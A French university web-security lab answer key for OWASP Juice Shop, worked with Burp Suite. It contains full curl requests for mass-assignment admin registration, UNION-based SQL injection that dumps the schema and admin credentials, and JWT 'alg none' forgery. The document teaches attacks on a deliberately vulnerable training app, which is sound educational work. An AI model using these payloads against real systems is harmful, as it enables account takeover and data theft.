HEIG-VD

Top 10 OWASP

Vulnérabilités web, Burpsuite

Web Lab | CORRIGÉ

Auteur
Bailat Joachim

Professeur
Bost Jean-Marc

21-06-2023

Table des matières

1 Introduction

Pour ce laboratoire il est fortement conseillé d'utiliser BurpSuite, la machine sur laquelle vous vous trouvez dispose de Burpsuite.

BurpSuite est un outil très puissant et massivement utilisé dans le cadre de tests d'application web. Nous vous recommandons de vous familiariser avec cet outil, il vous sera très utile pour ce laboratoire, de plus il existe de nombreux tutoriels sur internet sur son utilisation.

Burpsuite intègre un navigateur web qui est préconfiguré pour utiliser le proxy de Burpsuite, il est donc très facile de l'utiliser pour intercepter et modifier les requêtes HTTP. Firefox est aussi disponible sur la machine, il faut néanmoins le configurer pour utiliser le proxy de Burpsuite.

2 Warmup

2.1 Mauvaise validation d'input

En visitant le shop, vous ne l'aimez pas dutout, vous décidez donc le de faire savoir en postant un feedback.

Trouvez un moyen de poster un feedback avec une note de 0 étoile.

1. se rendre sur la page /#/feedback (depuis le navigateur de Burpsuite) (menu burger de gauche Feedback)
2. Créer un feedback avec une note quelconque
3. dans l'historique du proxy Burpsuite, chercher la requête POST /api/feedback
4. envoyer dans le repeater la requête
5. modifier le body de la requête pour mettre une note de 0 ("rating" : 0)
6. envoyer la requête

```
curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.25.100:3000' -H $'Content-Length: 71' -H $'
       Accept: application/json, text/plain, */*' -H $'User-Agent:
       Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
       KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36' -H $'
       Content-Type: application/json' -H $'Origin: http
       ://192.168.25.100:3000' -H $'Referer: http
       ://192.168.25.100:3000/' -H $'Accept-Encoding: gzip, deflate' -H
        $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    -b $'language=en; continueCode=6
       z9zaENwl32nVBZ1bjk7pxK4AB5tai8PfmQ0L8DQqYy5OJoMXPWeRrvgm6QM' \
    --data-binary $'{\"captchaId\":0,\"captcha\":\"9\",\"comment\":\"
       asdasd (anonymous)\",\"rating\":0}' \
```

```
5       $'http://192.168.25.100:3000/api/Feedbacks/'
```

https://curiositykillscolby.com/2020/11/06/pwning-owasps-juice-shop-pt-10/

Quel est le problème dans l'implémentation du système de feedback ?

Pas de validation de la note côté serveur (pas de vérification que la note est bien entre 1 et 5)

Trouvez un moyen de vous créer un compte admin

Pour cet étape il est peut être utile d'obtenir le shéma de la base de donnée que vous récupérerez dans la partie suivante !

1. se rendre sur la page /#/register
2. créer un compte avec des informations quelconques
3. dans l'historique du proxy Burpsuite, chercher la requête POST /api/users
4. envoyer dans le repeater la requête
5. modifier le body de la requête en ajoutant le champ "role" avec pour valeur "admin" ("role" : "admin",)
6. envoyer la requête

```
1  curl -i -s -k -X $'POST' \
2      -H $'Host: 192.168.25.100:3000' -H $'Content-Length: 282' -H $'
           Accept: application/json, text/plain, */*' -H $'User-Agent:
           Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
           KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36' -H $'
           Content-Type: application/json' -H $'Origin: http
           ://192.168.25.100:3000' -H $'Referer: http
           ://192.168.25.100:3000/' -H $'Accept-Encoding: gzip, deflate' -H
            $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
3      -b $'language=en; continueCode=
           OYkQVNDKna3641OMErXwez2AOJtLi3yHZWSPo0RZxPpvoJWyB5b8lgqj7m9L' \
4      --data-binary $'{\"email\":\"asd@asdsd.ch\",\"password
           \":\"123123123123\",\"passwordRepeat\":\"123123123123\",\x0d\x0a
           \"role\":\"admin\",\x0d\x0a\"securityQuestion\":{\"id\":3,\"
           question\":\"Mother\'s birth date? (MM/DD/YY)\",\"createdAt\":\"
           2023-06-11T13:14:07.544Z\",\"updatedAt\":\"2023-06-11T13
           :14:07.544Z\"},\"securityAnswer\":\"12/12/1997\"}' \
5      $'http://192.168.25.100:3000/api/Users/'
```

https://curiositykillscolby.com/2020/11/18/pwning-owasps-juice-shop-pt-22-admin-registration/

Quel est le problème dans cet appel à l'API ?

Il ne devrait pas être possible de créer un compte avec le rôle admin depuis cet endpoint, du moins pas sans être authentifié en tant qu'admin.

3 Injection

3.1 Schema de la base de donnée

Dans cette partie on souhaite récupérer le schéma de la base de donnée pour ensuite pouvoir “crafter” d’autres requêtes SQL pour récupérer des données.

Quel est le point d’entrée pour injecter du SQL ?

GET /rest/products/search?q=

Quel est le moteur de la base de donnée ?

GET /rest/products/search?q=apple’

SQLite

Quel est la requête utilisée de base pour récupérer un produit ?

GET /rest/products/search?q=apple’

SELECT * FROM products WHERE ((name LIKE ‘%apple%’ OR description LIKE ‘%apple%’) AND deleted_at IS NULL) ORDER BY name

En fonction du moteur de la base de donnée, existe-t-il des fonctions spécifiques pour récupérer le schéma de la base de donnée ? Ou existe-t-il une table contenant par exemple le script de création de la base de donnée ?

SQLite, sqlite_master contient le script de création de la base de donnée

Trouvez un moyen de récupérer le schéma de la base de donnée.

Hint: UNION SELECT ‘1’, ‘2’, ‘3’, ….. –

GET /rest/products/search?q=apple’)) UNION SELECT sql, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’ FROM sqlite_master –

```
1
2 curl -i -s -k -X $'GET' \
3     -H $'Host: 192.168.25.100:3000' -H $'Accept: application/json, text
         /plain, */*' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
         Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
         /114.0.5735.110 Safari/537.36' -H $'Referer: http
         ://192.168.25.100:3000/' -H $'Accept-Encoding: gzip, deflate' -H
          $'Accept-Language: en-US,en;q=0.9' -H $'If-None-Match: W/\"325f
         -N4M6VXxn7yMoGa2+ZRrStwsASsI\"' -H $'Connection: close' \
4     -b $'language=en; continueCode=
         ZoqBOmKp8PMvlzx6rDE2agd96hWtgiEYfl9SqQGL3QknJweXRY4VbNy971W5' \
```

```
5       $'http://192.168.25.100:3000/rest/products/search?q=apple\'))%20
            UNION%20SELECT%20sql%2c%20\'2\'%2c%20\'3\'%2c%20\'4\'%2c%20\'5\'
            %2c%20\'6\'%2c%20\'7\'%2c%20\'8\'%2c%20\'9\'%20FROM%20
            sqlite_master%20--'
```

https://curiositykillscolby.com/2020/11/17/pwning-owasps-juice-shop-pt-21-database-schema/

https://github.com/refabr1k/owasp-juiceshop-solutions/blob/master/Level3/database-schema.md

3.2 Recéupération du compte admin

Maintenant que nous avons une bonne idée de la structure de la base de donnée, nous allons pouvoir récupérer des informations précises, tel que des comptes utilisateurs, notamment celui de l'administrateur.

On peut réutiliser le même point d'entrée que précédemment.

GET /rest/products/search?q=apple')) UNION SELECT id, email, role, password, '5', '6', '7', '8', '9' FROM Users –

email = admin@juice-sh.op password = admin123

```
1  curl -i -s -k -X $'GET' \
2       -H $'Host: 192.168.25.100:3000' -H $'Accept: application/json, text
            /plain, */*' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
            Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
            /114.0.5735.110 Safari/537.36' -H $'Referer: http
            ://192.168.25.100:3000/' -H $'Accept-Encoding: gzip, deflate' -H
             $'Accept-Language: en-US,en;q=0.9' -H $'If-None-Match: W/\"325f
            -N4M6VXxn7yMoGa2+ZRrStwsASsI\"' -H $'Connection: close' \
3       -b $'language=en; continueCode=
            ZoqBOmKp8PMvlzx6rDE2agd96hWtgiEYfl9SqQGL3QknJweXRY4VbNy971W5' \
4       $'http://192.168.25.100:3000/rest/products/search?q=apple\'))%20
            UNION%20SELECT%20id%2c%20email%2c%20role%2c%20password%2c%20\'5\
            '%2c%20\'6\'%2c%20\'7\'%2c%20\'8\'%2c%20\'9\'%20FROM%20Users
            %20--'
```

https://curiositykillscolby.com/2020/11/01/pwning-owasps-juice-shop-pt-4/

4 JWT

Pour cette section Burpsuite propose des plugins pour manipuler les JWT (JWT Editor et/ou JSON Web Tokens), sinon vous pouvez utiliser jwt.io.

En vous connectant avec votre nouveau compte admin, vous remarquez que le site utilise des JWT pour gérer les sessions.

Quel est l'algorithme utilisé pour signer les JWT ?

RS256

Trouvez un moyen de vous connecter en tant que "jwtn3d@juice-sh.op" sans connaitre son mot de passe.

alg "none"

Montrez le payload du JWT utilisé

```
curl -i -s -k -X $'GET' \
    -H $'Host: 192.168.25.100:3000' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwi.' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36' -H $'Referer: http://192.168.25.100:3000/' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'If-None-Match: W/\"325f-N4M6VXxn7yMoGa2+ZRrStwsASsI\"' -H $'Connection: close' \
    -b $'language=en; continueCode=gRrQo8yX2ex3pqz9KLd18hXtguqTeiEefrJS5ncD4AkON6wWVaBZMn5jbl17; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwi.Z6Ga-xmYmbywDNDAfQ8qJfAIv8RlQH7lov-QlR_0Lh8qKXJiIWUruZg0PBtRfad9mSKdOqf2SfC59HKCldG7G7y1-uPQQRtfTqltaAOoA_emGX6DhaNWmwl8mq9jH6bQa4fe_MTxWV9i6Gxio69Mf32jNTYBpBb7SeaSk' \
    $'http://192.168.25.100:3000/rest/products/search?q='
```

payload

```

{
  "typ": "JWT",
  "alg": "none"
}
{
  "status": "success",
  "data": {
    "id": 23,
    "username": "",
    "email": "jwtn3d@juice-sh.op",
    "password": "f5bb0c8de146c67b44babbf4e6584cc0",
    "role": "admin",
    "deluxeToken": "",
```

```
    "lastLoginIp": "0.0.0.0",
    "profileImage": "/assets/public/images/uploads/default.svg",
    "totpSecret": "",
    "isActive": true,
    "createdAt": "2023-06-11 13:34:47.402 +00:00",
    "updatedAt": "2023-06-11 13:34:47.402 +00:00",
    "deletedAt": null
  },
  "iat": 1686490495,
  "exp": 1686508495
}
```


https://www.hackerbartender.com/unsigned-jwt/

En utilisant DirBuster, vous trouvez un endpoint (/encryptionkeys) qui vous permet de récupérer des informations interessantes.

Montrez que vous êtes capable de vous connecter en tant que "rsa_lord@juice-sh.op" en forgeant un nouveau JWT.

Hint : https://portswigger.net/web-security/jwt/algorithm-confusion

Pourquoi êtes vous capable de forger ce JWT, quel est le problème d'implémentation coté serveur ?

5 Writeups

https://github.com/apox64/OWASP-Juice-Shop-Write-Up/blob/master/juice-shop-writeup.md